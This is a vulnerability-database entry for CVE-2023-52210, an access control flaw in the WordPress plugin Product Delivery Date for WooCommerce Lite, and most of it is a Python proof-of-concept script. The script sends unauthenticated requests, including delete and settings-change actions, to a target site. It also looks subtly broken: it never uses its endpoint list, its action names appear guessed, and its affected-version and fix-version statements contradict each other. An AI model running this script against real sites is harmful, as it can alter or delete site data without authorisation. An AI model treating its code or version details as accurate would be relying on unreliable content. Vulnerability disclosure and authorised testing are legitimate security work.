Vulnerability in Tyche softwares Product Delivery Date for WooCommerce – Lite.This issue affects Product Delivery Date for WooCommerce – Lite: from n/a through 2.7.0.
CVSS Details
CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Configurations (Affected Products)
No configuration data available.
Product Delivery Date for WooCommerce Lite < 2.7.0
Product Delivery Date for WooCommerce Lite 2.7.0及之前所有版本
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
import sys
# CVE-2023-52210 PoC - Broken Access Control in Product Delivery Date for WooCommerce Lite
# Target: WordPress site with Product Delivery Date for WooCommerce Lite plugin < 2.7.0
def check_vulnerability(target_url):
"""
Check if the target is vulnerable to CVE-2023-52210
This PoC attempts to access admin AJAX endpoints without authentication
"""
# Common AJAX endpoints for the plugin
endpoints = [
'/wp-admin/admin-ajax.php',
'/wp-admin/admin.php?page=pd_delivery_date',
]
# Vulnerable actions that should require authentication
vulnerable_actions = [
'pd_update_delivery_date',
'pd_delete_delivery_date',
'pd_save_settings',
'pd_get_calendar_data',
]
print(f"[*] Testing target: {target_url}")
print(f"[*] CVE-2023-52210 - Broken Access Control in Product Delivery Date for WooCommerce Lite\n")
vulnerable = False
for action in vulnerable_actions:
data = {
'action': action,
'nonce': '', # No nonce required due to missing validation
}
try:
response = requests.post(target_url, data=data, timeout=10)
# Check if response indicates successful unauthorized access
# Response codes: 200 without login requirement indicates vulnerability
if response.status_code == 200:
# Check response content for signs of successful exploitation
if 'pd_delivery_date' in response.text or 'delivery_date' in response.text:
print(f"[!] VULNERABLE: Action '{action}' accessible without authentication")
print(f"[*] Response preview: {response.text[:200]}...")
vulnerable = True
else:
print(f"[-] Action '{action}' returned 200 but no obvious data leak")
else:
print(f"[*] Action '{action}' returned status {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"[-] Error testing action '{action}': {e}")
if vulnerable:
print("\n[+] Target is VULNERABLE to CVE-2023-52210")
print("[+] Recommendation: Update Product Delivery Date for WooCommerce Lite to version 2.7.0 or later")
return True
else:
print("\n[-] Target may not be vulnerable or plugin is not installed")
return False
if __name__ == '__main__':
if len(sys.argv) < 2:
print(f"Usage: python {sys.argv[0]} <target_url>")
print(f"Example: python {sys.argv[0]} http://example.com")
sys.exit(1)
target = sys.argv[1].rstrip('/')
check_vulnerability(target)